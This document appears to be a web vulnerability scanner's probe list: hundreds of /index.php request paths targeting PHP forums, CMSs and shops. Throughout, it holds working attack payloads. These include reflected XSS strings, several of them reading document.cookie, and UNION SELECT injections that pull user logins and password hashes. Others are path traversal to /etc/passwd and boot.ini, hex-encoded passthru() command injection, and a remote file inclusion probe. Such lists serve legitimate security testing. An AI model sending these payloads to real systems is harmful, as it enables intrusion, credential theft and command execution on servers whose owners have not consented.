/index.php?%22%3E%3Cscript%3Ealert(xss)%3C/script%3E
/index.php?&PHPSESSID='
/index.php?&language=f00bar.php
/index.php?=%3Cscript%3Ealert%283530%29%3C%2Fscript%3E
/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
/index.php??pid=-1%20union%20select%201,concat(0x4F,0x6E,0x6C,0x69,0x6E,0x65,0x20,0x52,0x65,0x6E,0x74,0x61,0x6C,0x20,0x50,0x72,0x6F,0x70,0x65,0x72,0x74,0x79,0x20,0x53,0x63,0x72,0x69,0x70,0x74,0x20,0x22,0x70,0x69,0x64,0x22,0x20,0x53,0x51,0x4C,0x20,0x49,0x6E,0x6A,0x65,0x63,0x74,0x69,0x6F,0x6E),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2%20--&user=det
/index.php?GLOBALS%5B%5D=1&onlinemembers=%3Cscript%3Ealert%281546%29%3C%2Fscript%3E
/index.php?GLOBALS[developer_email]=1&GLOBALS[database_module]=/../../../../../../../../boot.ini%00
/index.php?GLOBALS[developer_email]=1&GLOBALS[database_module]=/../../../../../../../../etc/passwd%00
/index.php?GLOBALS[developer_email]=1&GLOBALS[database_module]=/../../../../../../../../winnt/win.ini%00
/index.php?IDAdmin=test
/index.php?L=blogs.search&query=%3Cscript%3Ealert%2810060%29%3C%2Fscript%3Eboolean%3Dor&sin%5B%5D=title&sin%5B%5D=body&order=natural&direction=asc
/index.php?Language=
/index.php?Load=
/index.php?Page=login&Action=Login&username=%3Cscript%3Ealert%281170%29%3C%2Fscript%3E
/index.php?REQ=%3Cscript%3Ealert%28%27xss403227101125%27%29%3C%2Fscript%3ESubmit=Submit
/index.php?RP_PATH=
/index.php?SID=%27
/index.php?SID='%22generate_mysql_num_rows_warning
/index.php?Sex=%22%3E%3Cscript%3Ealert%282972%29%3C%2Fscript%3E&Mode=last
/index.php?SqlQuery=test%20
/index.php?VERSION=%22%3E%3Cscript%3Ealert('FORCE_XSS')%3C/script%3E
/index.php?WF%22%3E%3Cscript%3Ealert%283428%29%3C%2Fscript%3E
/index.php?_GET%5B%5D=
/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=
/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
/index.php?_SERVER
/index.php?_SERVER%5B%5D&_SERVER%5BREMOTE_ADDR%5D=999%27
/index.php?_a=knowledgebase&_j=questiondetails&_i='
/index.php?_a=knowledgebase&_j=subcat&_i='
/index.php?_a=tickets&_m=viewmain&email22='&ticketkey22=
/index.php?_m=news&_a=view&filter=%22%3E%3Cscript%3Ealert%2810052%29%3C%2Fscript%3E%3Ca+href%3D%22
/index.php?a=
/index.php?a=active
/index.php?a=listings&mode='&order=name&cat=
/index.php?a=login
/index.php?a=post&s=reply&t='
/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*
/index.php?acao=
/index.php?act=
/index.php?act=Answer&cid=1&id=1&offset='
/index.php?act=Attach&type=post&id=%27
/index.php?act=Help&CODE=01&HID=%27%3E%3Cscript%3Ealert%281982%29%3C%2Fscript%3E
/index.php?act=Mail&CODE=00&MID=%27%3E%3Cscript%3Ealert%281980%29%3C%2Fscript%3E
/index.php?act=Members&max_results=%27%3E%3Cscript%3Ealert%281988%29%3C%2Fscript%3E&sort_key=posts&sort_order=desc
/index.php?act=Members&max_results=10&sort_key=%27%3E%3Cscript%3Ealert%281990%29%3C%2Fscript%3E&sort_order=desc&sort_order=desc
/index.php?act=Members&max_results=10&sort_key=posts&sort_order=%27%3E%3Cscript%3Ealert%281986%29%3C%2Fscript%3E
/index.php?act=Print&client=printer&f=1&t=%27%3E%3Cscript%3Ealert%281978%29%3C%2Fscript%3E
/index.php?act=Profile&CODE=%27
/index.php?act=Question&id=1&limit=10&orderby=q_id&order=DESC&offset='
/index.php?act=Question&id=1&orderby='&order=DESC&limit=10
/index.php?act=Question&id=1&orderby=q_id&order=DESC&limit='
/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert(document.cookie)</script>
/index.php?act=Search&CODE=01
/index.php?act=Search&code=01&search_item='
/index.php?act=Search&nav=%27%3E%3Cscript%3Ealert%281970%29%3C%2Fscript%3E
/index.php?act=Search&nav=au&CODE=show&searchid=5f25843edb0242889889796819a2b367&search_in=%27%3E%3Cscript%3Ealert%281968%29%3C%2Fscript%3E&result_type=posts
/index.php?act=Search&nav=au&CODE=show&searchid=5f25843edb0242889889796819a2b367&search_in=ooo&result_type=%27%3E%3Cscript%3Ealert%281966%29%3C%2Fscript%3E
/index.php?act=Shoutbox&view=saved&load=%27
/index.php?act=Singer&id=1+UNION+SELECT+1,CONCAT(0x32,0x30,0x30,0x38,0x30,0x36,0x32,0x38,0x31,0x20,0x4C,0x69,0x76,0x65,0x20,0x4D,0x75,0x73,0x69,0x63,0x20,0x50,0x6C,0x75,0x73,0x20,0x76,0x2E,0x32,0x30,0x30,0x38,0x2F,0x30,0x36,0x2F,0x32,0x38,0x20,0x28,0x69,0x64,0x29,0x20,0x53,0x51,0x4C,0x20,0x49,0x6E,0x6A,0x65,0x63,0x74,0x69,0x6F,0x6E),3,4,5,6
/index.php?act=Speak&code=02&cid='&id=1&poster=1&name=2&answer=3&email=4
/index.php?act=Speak&code=02&cid=1&id='&poster=1&name=2&answer=3&email=4
/index.php?act=Speak&code=05&poster=1&name=2&question=3&email=4&cat_id='
/index.php?act=emailvalidate&mid='
/index.php?act=ketqua&code=showcat&idcat=%27
/index.php?act=module&module=gallery&cmd=viewimage&img=&file_type=&dir=/../../../../../../../../boot.ini
/index.php?act=module&module=gallery&cmd=viewimage&img=&file_type=&dir=/../../../../../../../../etc/passwd
/index.php?act=module&module=gallery&cmd=viewimage&img=&file_type=&dir=/../../../../../../../../winnt/win.ini
/index.php?act=portal&site=%27
/index.php?act=reputation&fid=5&pid=%27
/index.php?act=search&CODE=getnew&active=%27%3E%3Cscript%3Ealert%281984%29%3C%2Fscript%3E&lastdate=1
/index.php?act=search&process
/index.php?act=search-results
/index.php?act=task&ck=%27%3B
/index.php?action=
/index.php?action=%3Cscript%3Ealert%282432%29%3C%2Fscript%3E
/index.php?action=DetailView&module=/../../../../../../../../boot.ini%00
/index.php?action=DetailView&module=/../../../../../../../../etc/passwd%00
/index.php?action=DetailView&module=/../../../../../../../../winnt/win.ini%00
/index.php?action=DetailView&module=Accounts&record=%27
/index.php?action=Information&informationID=1%20and%20generate_error=error
/index.php?action=UnifiedSearch&module=Home&search_form=false&query+_string=%22%3E%3Cscript%3Ealert%281776%29%3C%2Fscript%3E
/index.php?action=ajax&rs=%2BADw-SCRIPT%2BAD4-alert%281234%29%2BADw-%2FSCRIPT%2BAD4-
/index.php?action=ajax&rs=%3Cscript%3Ealert%288700%29%3C%2Fscript%3E
/index.php?action=ajax&rs=%3Cscript%3Ealert(xss)%3C/script%3E
/index.php?action=createuser&module=loginmodule
/index.php?action=detail&id=&image=&albums=%27
/index.php?action=edit&id=%27
/index.php?action=edit&id=%3Cscript%3Ealert%289226%29%3C%2Fscript%3E
/index.php?action=faq&templatecache[faq]=hello+world
/index.php?action=faqmy&myfaq=yes&id_cat=1&categories=%3Cscript%3Ealert%283166%29%3C%2Fscript%3E
/index.php?action=foo%2F%3Cscript%3Ealert%289674%29%3C%2Fscript%3E
/index.php?action=index&module=Home&mod_strings%5BLNK_NEW_CONTACT%5D=%3Cscript%3Ealert%281780%29%3C%2Fscript%3E
/index.php?action=item&id=%22%3E%3Cscript%3Ealert(%22xss%22);%3C/script%3E
/index.php?action=item&id=%3Cscript%3Ealert%282434%29%3C%2Fscript%3E
/index.php?action=item&id=15&prevaction=%3Cscript%3Ealert%282436%29%3C%2Fscript%3E
/index.php?action=item&id=15&prevaction=category&previd=%3Cscript%3Ealert%282438%29%3C%2Fscript%3E
/index.php?action=item&id=15&prevaction=category&previd=2&prevstart=%3Cscript%3Ealert%282440%29%3C%2Fscript%3E
/index.php?action=registernew&glang%5B%5D=%3Cscript%3Ealert%289782%29%3C%2Fscript%3E
/index.php?action=search&item=content&blog=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(8968)%3B%3C/ScRiPt%3E
/index.php?action=search&searchFor=\"><script>alert('Vulnerable')</script >
/index.php?action=sendtofriend&type=item&itemid=%3Cscript%3Ealert%282442%29%3C%2Fscript%3E
/index.php?action=showgal&cat=%27
/index.php?action=showgal&cat=5&page=%27
/index.php?action=showgal&cat=[generate_mysql_fetch_row_warning]
/index.php?action=showpic&cat=1&pic=%27
/index.php?action=storenew&username=<script>alert('Vulnerable')</script>
/index.php?action=top&show=%27%3E%3Cscript%3Ealert%281996%29%3C%2Fscript%3E&type=Artists
/index.php?action=top&show=1%27&type=Artists
/index.php?action=top&show=10&type=%27
/index.php?action=top&show=5&type=%27%3E%3Cscript%3Ealert%281994%29%3C%2Fscript%3E
/index.php?action=tradelinks&submissionstatus=%3Cscript%3Ealert%281482%29%3C%2Fscript%3E
/index.php?action=userinfo&user=-1&xtr=%27
/index.php?addr=
/index.php?adresa=
/index.php?affiche=News&id='
/index.php?album=%3Cscript%3Ealert(xss)%3C/script%3E
/index.php?album=..
/index.php?albumID=%27
/index.php?ando=comentarios&entrada=1'generate%20error
/index.php?appservlang=%22%3E%3Cscript%3Ealert%289830%29%3C%2Fscript%3E
/index.php?arg=
/index.php?arq=
/index.php?arquivo=
/index.php?automodule=gallery&cmd=postcomment&op=doaddcomment&Post=test&img=111%27
/index.php?automodule=gallery&cmd=rate&img=1&rating=1&album=-1%27
/index.php?b=
/index.php?ba=
/index.php?bas=
/index.php?base=
/index.php?base=test%20
/index.php?base_dir=
/index.php?basepath=
/index.php?blogid=%27
/index.php?blogpost=..\..\..\..\..\..\..\..\boot.ini
/index.php?blogpost=..\..\..\..\..\..\..\..\winnt\win.ini
/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\boot.ini
/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\winnt\win.ini
/index.php?bn%5B%5D=1
/index.php?board=&action=viewprofile&user=%27
/index.php?body=
/index.php?c=
/index.php?c=srch&ctg=Cat_1&key=1&comp=1&min='&max=1
/index.php?c=srch&ctg=Cat_1&key=1&comp=1&min=1&max='
/index.php?cal=
/index.php?canal=
/index.php?cat=
/index.php?cat=-1%20union%20select%200,concat(user_login,char(32),user_pass),0,0,0%20from%20an_users
/index.php?cat_id='
/index.php?cat_id=<script>alert(document.cookie)</script>
/index.php?categories=1&cat=xx%27%20union%2F%2A%2A%2F%20%20select%20%271%27%2C%27404267101938%27%2C%272%27%2C%27comments%27%20%2F%2A
/index.php?category=%27
/index.php?catid=%27
/index.php?catid=&lt;script&gt;alert('Vulnerable')&lt;/script&gt;
/index.php?catid='abc
/index.php?channel=
/index.php?chapter=
/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc
/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc
/index.php?classified_path=
/index.php?cmd=
/index.php?cmd=6&recid=1%20order%20by%2020
/index.php?cms=
/index.php?command=
/index.php?command=login%27%3E%3Cscript%3Ealert%282040%29%3C%2Fscript%3E
/index.php?command=panel
/index.php?configFile=
/index.php?cont=
/index.php?content=
/index.php?conteudo=
/index.php?contextid=4&roleid=0&id=2&group=&perpage=20&search=%22STYLE=%22xss:expression(alert(9086))%3b%22%20
/index.php?crn='&action=show&show_products_mode=cat_click
/index.php?d1=
/index.php?debug=%3Cscript%3Ealert%282796%29%3C%2Fscript%3E
/index.php?def=
/index.php?dept=
/index.php?dir=%3Cscript%3Ealert(xss)%3C/script%3E
/index.php?dir=<script>alert('Vulnerable')</script>
/index.php?dir=inexistent_directory
/index.php?discuss=%27
/index.php?disp=
/index.php?dn=
/index.php?do=
/index.php?do=index&dummy=dummy');alert('xss');void('
/index.php?do=newspost&id=-1%20union%20select%201111,2222,3333,4444,5555,6666,7777,8888
/index.php?doc=
/index.php?doc_id=%27
/index.php?dok=
/index.php?download=/etc/passwd
/index.php?download=/windows/win.ini
/index.php?download=/winnt/win.ini
/index.php?dsp=
/index.php?e=
/index.php?email%5B%5D=1
/index.php?err=3&email=\"><script>alert(document.cookie)</script>
/index.php?errcode=%3Cscript%3Ealert(%22xss%22);%3C/script%3E
/index.php?ev=
/index.php?exact=1&sentence=1&s=%b3%27
/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,1234567890,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%23
/index.php?exec=
/index.php?f1=
/index.php?f=
/index.php?fPage=
/index.php?fase=
/index.php?file=
/index.php?file=..\..\..\..\..\..\..\..\boot.ini
/index.php?file=..\..\..\..\..\..\..\..\winnt\win.ini
/index.php?file=/../../../../../../../../boot.ini%00
/index.php?file=/../../../../../../../../etc/passwd%00
/index.php?file=/../../../../../../../../winnt/win.ini%00
/index.php?file=Admin&page=user&query=%3Cscript%3Ealert%283194%29%3C%2Fscript%3E
/index.php?file=Calendar&m=%27&y=2006
/index.php?file=Guestbook&req=post_book=<script>alert(document.cookie)</script>
/index.php?file=Liens&op=\"><script>alert('Vulnerable');</script>
/index.php?file=Members&letter=%22%3E%3Cscript%3Ealert%281248%29%3C%2Fscript%3E
/index.php?file=index.php
/index.php?filepath=
/index.php?filter=%27
/index.php?fn=
/index.php?fset=
/index.php?func=
/index.php?func=submit&module=PostCalendar&preview=F%F6rhandsgranska+Evengemang&event_fee=h&event_website=g&event_contemail=f&event_conttel=e&event_contname=d&event_location=c&event_recurrfreq=0&event_recurrtype=-1&event_category=g&event_endtimem=0&event_e
/index.php?function=custom&custom=
/index.php?go1=
/index.php?go=
/index.php?go=%22%3E%3Cscript%3Ealert%288704%29%3C%2Fscript%3E
/index.php?goto=
/index.php?gr_1_id=%27
/index.php?gr_2_id=%27
/index.php?gr_3_id=%27
/index.php?hl=
/index.php?hub_dir=/../../../../../../../../boot.ini%00
/index.php?hub_dir=/../../../../../../../../etc/passwd%00
/index.php?hub_dir=/../../../../../../../../winnt/win.ini%00
/index.php?i_cat=%27
/index.php?i_cat=%3Cscript%3Ealert%283074%29%3C%2Fscript%3E
/index.php?id=
/index.php?id=%22%3E%3Cscript%3Ealert%28964%29%3C/script%3E
/index.php?id=%27
/index.php?id=%27%3E%3Cscript%3Ealert%281992%29%3C%2Fscript%3E
/index.php?id=&lang=
/index.php?id=&page=
/index.php?id=1%27
/index.php?id=1&lang=
/index.php?id=1/../../../../../../../../boot.ini%00
/index.php?id=1/../../../../../../../../etc/passwd%00
/index.php?id=1/../../../../../../../../winnt/win.ini%00
/index.php?id=17&no_cache=1&action=getviewcategory&category_uid='
/index.php?id=2%3Cscript%3Ealert%282158%29%3C%2Fscript%3E
/index.php?id=9999999%27%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2Fmpassword%2F%2A%2A%2FFROM%2F%2A%2A%2Fnucleus_member%2F%2A%2A%2FWHERE%2F%2A%2A%2Fmnumber%3D1%2F%2A
/index.php?id_man='&mod=manufacturer
/index.php?in=song&term=%3Cscript%3Ealert(%22xss%22);%3C/script%3E&action=search&start=0
/index.php?in=song&term=lambada&action=search&start='error_test
/index.php?inc=
/index.php?incl=
/index.php?include=
/index.php?ind=%22%3E%3Cscript%3Ealert%283186%29%3C%2Fscript%3E
/index.php?ind=%27
/index.php?ind=/../../../../../../../../boot.ini%00
/index.php?ind=/../../../../../../../../etc/passwd%00
/index.php?ind=/../../../../../../../../winnt/win.ini%00
/index.php?index=
/index.php?inhalt=
/index.php?ir=
/index.php?j=
/index.php?kobr=
/index.php?l=
/index.php?l=forum/view.php&topic=../../../../../../../../../etc/passwd
/index.php?lang=
/index.php?lang=%3Cscript%3Ealert%282178%29%3C%2Fscript%3E
/index.php?lang=&page=
/index.php?lang=../../../../../../../../etc/passwd%00
/index.php?lang=DSecRG&language_full=/../../../../../../../../boot.ini%00
/index.php?lang=DSecRG&language_full=/../../../../../../../../winnt/win.ini%00
/index.php?lang=en&cat=
/index.php?lang=en&page=
/index.php?lang=gr&file
/index.php?langc=
/index.php?lg=
/index.php?limit='
/index.php?link=
/index.php?list="<script>alert('XSS');</script>
/index.php?lk=
/index.php?ln=
/index.php?lng=
/index.php?lnk=
/index.php?load=
/index.php?loc=
/index.php?loc=&cat=
/index.php?loc=&lang=
/index.php?loc=&page=
/index.php?loc=start&page=
/index.php?loca=
/index.php?ltr=
/index.php?m=
/index.php?m=top&s=info%22%3E%3Cscript%3Ealert%28888%29%3C/script%3E&ID=1115946293.3552&t=puntuar
/index.php?mact=Search%2Ccntnt01%2Cdosearch%2C0&cntnt01returnid=15&cntnt01searchinput=%3Cscript%3Ealert%288490%29%3C%2Fscript%3E&cntnt01submit=Submit
/index.php?main=
/index.php?meio.php=
/index.php?meio=
/index.php?menu=
/index.php?menu=deti&page=
/index.php?method=%3Cscript%3Ealert%281822%29%3C%2Fscript%3E
/index.php?method=showdetails&list=%3Cscript%3Ealert%281820%29%3C%2Fscript%3Eadvertisement&rollid=1
/index.php?method=showdetails&list=dummy
/index.php?mf=
/index.php?mid=
/index.php?mid=%27
/index.php?middle=
/index.php?middlePart=
/index.php?mm='%20force_sql_error&yy=2006
/index.php?mn=
/index.php?mod=
/index.php?mod=%3Cscript%3Ealert%283480%29%3C%2Fscript%3E
/index.php?mod=category&id_ctg='
/index.php?mod=images&action=preview&image=%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%283482%29%3C%2Fscript%3E
/index.php?mod=massactions&action=mass_delete&source=%22%3E%3Cscript%3Ealert%283484%29%3C%2Fscript%3E
/index.php?mod=pages&id_ctg='
/index.php?mod=pages&id_prd='
/index.php?mod=pages&idp='
/index.php?modID=../../nonExistentFile
/index.php?modID=../EVIL_VALUE
/index.php?mode=
/index.php?mode=events&act=viewevent&seid=-1%27
/index.php?mode=forums&forumId=1%20union%20select%20*%20from%20force_error
/index.php?mode=page&page=../../../../../../../../boot.ini%00
/index.php?mode=page&page=../../../../../../../../etc/passwd%00
/index.php?mode=page&page=../../../../../../../../winnt/win.ini%00
/index.php?modfunc=create_account&staff&username=admin&staff_id=new
/index.php?modo=
/index.php?module=
/index.php?module=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
/index.php?module='&search_op=search&mod=all&query=1&search=Search
/index.php?module=Accounts&action=ListView&query=true&name=%3Cscript%3Ealert%281778%29%3C%2Fscript%3E
/index.php?module=Home&action=UnifiedSearch&query_string=%22%3E%3Cscript%3Ealert%2810102%29%3C%2Fscript%3E
/index.php?module=My_eGallery
/index.php?module=News&startrow=%27
/index.php?module=Opportunities&action=/../../../../../../../../boot.ini%00&advanced=true
/index.php?module=Opportunities&action=/../../../../../../../../etc/passwd%00&advanced=true
/index.php?module=Opportunities&action=/../../../../../../../../winnt/win.ini%00&advanced=true
/index.php?module=Pagesetter&type=file&func=preview&id=../../../pnTemp/.htaccess%00
/index.php?module=Products&action=index&parenttab=%22%3E%3Cscript%3Ealert%2810098%29%3C%2Fscript%3E
/index.php?module=Topics&func=display&topicid=%27
/index.php?module=Users&action=Authenticate&user_password=%22%3E%3Cscript%3Ealert%2810100%29%3C%2Fscript%3E
/index.php?module=Users&action=DetailView&record='
/index.php?module=blogwriter&historyyear=2007&historymonth=-1%27
/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc
/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc/&view=passwd
/index.php?module=pnFlashGames&func=view&cid=-1%27
/index.php?module=search&search_op=search&mod='&query=d&search=Search
/index.php?module=search&user=search&search=%22%3E%3Cscript%3Ealert%289508%29%3C%2Fscript%3E&alternate=local&mod_title=all&submit=Search
/index.php?module=subjects&func=listcat&catid='
/index.php?module=subjects&func=listpages&subid='
/index.php?module=subjects&func=viewpage&pageid='
/index.php?msgs=%3Cscript%3Ealert(xss)%3C/script%3E
/index.php?n=modules%2Fonline&&a=1&language=1&layout=%3Cscript%3Ealert%282090%29%3C%2Fscript%3E
/index.php?name%5B%5D=1
/index.php?name=Downloads&c=1%22%3E%3Cscript%3Ealert%281390%29%3C%2Fscript%3E
/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527
/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527
/index.php?name=News&catid=1%22%3E%3Cscript%3Ealert%281366%29%3C%2Fscript%3E
/index.php?name=News&file=article&sid=7%22%3E%3Cscript%3Ealert%281368%29%3C%2Fscript%3E
/index.php?name=News&file=friend&sid=5%22%3E%3Cscript%3Ealert%281370%29%3C%2Fscript%3E
/index.php?name=PNphpBB2&file=index&c=1%27
/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527
/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527
/index.php?name=Search
/index.php?name=Stories_Archive&sa=show_all%22%3E%3Cscript%3Ealert%281376%29%3C%2Fscript%3E
/index.php?name=Stories_Archive&sa=show_month&year=2005%22%3E%3Cscript%3Ealert%281374%29%3C%2Fscript%3E%3E&month=11
/index.php?name=Stories_Archive&sa=show_month&year=2005&month=11%22%3E%3Cscript%3Ealert%281372%29%3C%2Fscript%3E
/index.php?name=Surveys&op=results%22%3E%3Cscript%3Ealert%281386%29%3C%2Fscript%3Epollid%3D3
/index.php?name=Surveys&op=results&pollid=5%22%3E%3Cscript%3Ealert%281388%29%3C%2Fscript%3E
/index.php?name=Web_Links&l_op=toprated&ratenum=5&ratetype=percent%22%3E%3Cscript%3Ealert%281382%29%3C%2Fscript%3E
/index.php?name=Web_Links&l_op=viewlink&cid=15%22%3E%3Cscript%3Ealert%281380%29%3C%2Fscript%3E
/index.php?name=Web_Links&l_op=viewlink&cid=15&min=10&orderby=title%20ASC&show=0"%3e%3cscript%3ealert(1378)%3c%2fscript%3e
/index.php?name=Web_Links&l_op=viewlink&cid=15&orderby=titled%22%3E%3Cscript%3Ealert%281384%29%3C%2Fscript%3E
/index.php?name=Your_Account&error=1%22%3E%3Cscript%3Ealert%281360%29%3C%2Fscript%3E&uname=bGFsYWxh
/index.php?name=Your_Account&error=1&uname=PHNjcmlwdD5hbGVydCgnV2F0Y2hmaXJlIFhTUyBUZXN0IFN1Y2Nlc3NmdWwnKTwvc2NyaXB0Pg%3D%3D
/index.php?name=Your_Account&error=1&uname=bGFsYWxh%22%3E%3Cscript%3Ealert%281358%29%3C%2Fscript%3E
/index.php?name=Your_Account&profile=3%22%3E%3Cscript%3Ealert%281362%29%3C%2Fscript%3E
/index.php?name=coppermine&file=thumbnails&album=1%22%3E%3Cscript%3Ealert%281396%29%3C%2Fscript%3E
/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527
/index.php?name=webboard&category=1%27
/index.php?new=
/index.php?news=
/index.php?nic=
/index.php?node=system&op=block%3Cscript%3Ealert(%22xss%22)%3C/script%3E&block=3&bop=more
/index.php?o='
/index.php?offset=[%20Problem%20Here%20]
/index.php?oldal=
/index.php?op=
/index.php?op=Template&blogId=1&show=%3Cscript%3Ealert%282156%29%3C%2Fscript%3E
/index.php?op=ViewArticle&articleId=%27&blogId=1
/index.php?op=newtopic&mode=ris&quale=/../../../../../../../../boot.ini%00&page=1
/index.php?op=newtopic&mode=ris&quale=/../../../../../../../../etc/passwd%00&page=1
/index.php?op=newtopic&mode=ris&quale=/../../../../../../../../winnt/win.ini%00&page=1
/index.php?op=profile&user=%3Cscript%3Ealert%281690%29%3C%2Fscript%3E
/index.php?op=profile&user=/../../../../../../../../boot.ini%00
/index.php?op=profile&user=/../../../../../../../../etc/passwd%00
/index.php?op=profile&user=/../../../../../../../../winnt/win.ini%00
/index.php?opcao=
/index.php?opcion=
/index.php?open=
/index.php?openfile=
/index.php?option=
/index.php?option=%3E%22%3E%3Cscript%3Ealert%289428%29%3C%2Fscript%3E&Itemid=1
/index.php?option=com_content&task=vote&id=12&Itemid=69&cid=1&user_rating=1,rating_count='
/index.php?option=com_neorecruit&task=offer_view&id=%27
/index.php?option=com_nicetalk&tagid=-2%27
/index.php?option=com_rss&feed=%2F&no_html=1
/index.php?option=com_search&searchword=%27%3Balert%289316%29%2F%2F
/index.php?option=com_user&view=reset&layout=confirm
/index.php?option=com_zoom&Itemid=1&catid='
/index.php?option=search&searchword=<script>alert(document.cookie);</script>
/index.php?option=weblinks&Itemid=44&catid=-1%27
/index.php?ort=
/index.php?outpused=%3Cscript%3Ealert%289866%29%3C%2Fscript%3E
/index.php?outpused=%3Cscript%3Ealert%289880%29%3C%2Fscript%3E
/index.php?p=
/index.php?p=%22%3E%3Cscript%3Ealert%283340%29%3C%2Fscript%3E
/index.php?p=%3Cscript%3Ealert%288496%29%3C%2Fscript%3E
/index.php?p=&address_id=&setbackurl=%3Cscript%3Ealert%282490%29%3C%2Fscript%3E
/index.php?p=articles&area=1'
/index.php?p=gal&menu=1%3Cscript%3Ealert%282960%29%3C%2Fscript%3E
/index.php?pag=
/index.php?page1=
/index.php?page=
/index.php?page=%22%3E%3Cscript%3Ealert%281494%29%3C%2Fscript%3E
/index.php?page=%3Cscript%3Ealert%282360%29%3C%2Fscript%3E
/index.php?page=&lang=
/index.php?page=-1%27
/index.php?page=../../../../../../../../../../boot.ini
/index.php?page=../../../../../../../../../../etc/passwd
/index.php?page=../../../../../../../etc/passwd%00
/index.php?page=/../../../../../../../../boot.ini%00
/index.php?page=/../../../../../../../../etc/passwd%00
/index.php?page=/../../../../../../../../winnt/win.ini%00
/index.php?page=Home&from='%3Cscript%3Ealert(%22xss%22)%3C/script%3E
/index.php?page=PMList&folderID=0&pageNo=1&sortField=isViewed&sortOrder=%27
/index.php?page=category&PageSection=0&catid=-1or+1=test
/index.php?page=details&prod=1%20UNION%20SELECT%201,concat(char(65,99,85,110,69,116,73,120,32),password),3,loginname,5,6,7,8%20FROM%20customer
/index.php?page=documents&dl=xyz&its_url=xyz.html%22%3E%3Cscript%3Ealert%281962%29%3C%2Fscript%3E
/index.php?page=forum&func=post&par=%27
/index.php?page=http://inexistent_hacker_box/inexistent_file.php
/index.php?page=listStory&cat=%3Cscript%3Ealert%281192%29%3C%2Fscript%3E
/index.php?page=listStory&cat=Programs%2Band%2BServices&subcat=%3Cscript%3Ealert%281190%29%3C%2Fscript%3E
/index.php?page=send_write&url=xyz.html%22%3E%3Cscript%3Ealert%281964%29%3C%2Fscript%3E
/index.php?page=vhdbacklogo.gif
/index.php?page=viewbus&bus=-1/**/union/**/select/**/null,null,null,1234567890,987654321,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/users/*
/index.php?pageN=
/index.php?page_id=-1&news_id=-1%27
/index.php?page_id=-1&news_id=-1/**/UNION/**/ALL/**/SELECT/**/1234,23456,concat(111222,0x3a,0x3a,333222),45678,5,6/*
/index.php?paged=%27
/index.php?paged=-1
/index.php?pageid=%3E%27%3E%3Cscript%3Ealert%288988%29%3C%2Fscript%3E
/index.php?pagename=
/index.php?pager=
/index.php?pageurl=
/index.php?pagina1=
/index.php?pagina=
/index.php?param=
/index.php?params=profile%2Fview%2F%27
/index.php?path=
/index.php?path=../../../../../../../../boot.ini%00
/index.php?path=../../../../../../../../etc/passwd%00
/index.php?path=../../../../../../../../winnt/win.ini%00
/index.php?permalink=%27
/index.php?pg=
/index.php?pg_ID=
/index.php?phpbb_root_path=/../../../../../../../../boot.ini%00
/index.php?phpbb_root_path=/../../../../../../../../etc/passwd%00
/index.php?phpbb_root_path=/../../../../../../../../winnt/win.ini%00
/index.php?pilih=
/index.php?place=
/index.php?play=
/index.php?plugin=
/index.php?pma_username=&pma_password=&server=1&lang=en-iso-8859-1&convcharset=\%22><script>alert(834)</script>
/index.php?pname=
/index.php?poll=%27
/index.php?pollname=
/index.php?post=-1%27
/index.php?post_category_id=%27
/index.php?post_id=%27
/index.php?pr=
/index.php?pre=
/index.php?pref=
/index.php?principal=
/index.php?prod=
/index.php?product=
/index.php?pymembs=admin
/index.php?q=%22%3E%3Cscript%3Ealert%28405327102705%29%3C%2Fscript%3E%3C%22&r=10&page=9&section=6
/index.php?q=user%2F%3Cdiv%20style%3D%22width%3A100%25%3Bheight%3A100%25%3Bcolor%3Dred%22%20onmouseover%3D%22javascript%3Aalert%28405077102542%29%3B%22%3E%0D%0A
/index.php?query=%3Cscript%3Ealert%28403657101468%29%3C%2Fscript%3E&type=advanced&results=20&searchType=2
/index.php?query=asd&amount=0&blogid=1%27%3Cscript%3Ealert%289576%29%3C%2Fscript%3E%3B&x=34&y=6
/index.php?query=asd&blogid=1%2C1%27
/index.php?r=
/index.php?rage=
/index.php?recipe=
/index.php?redir=
/index.php?redirect=<script>alert(document.cookie)</script>
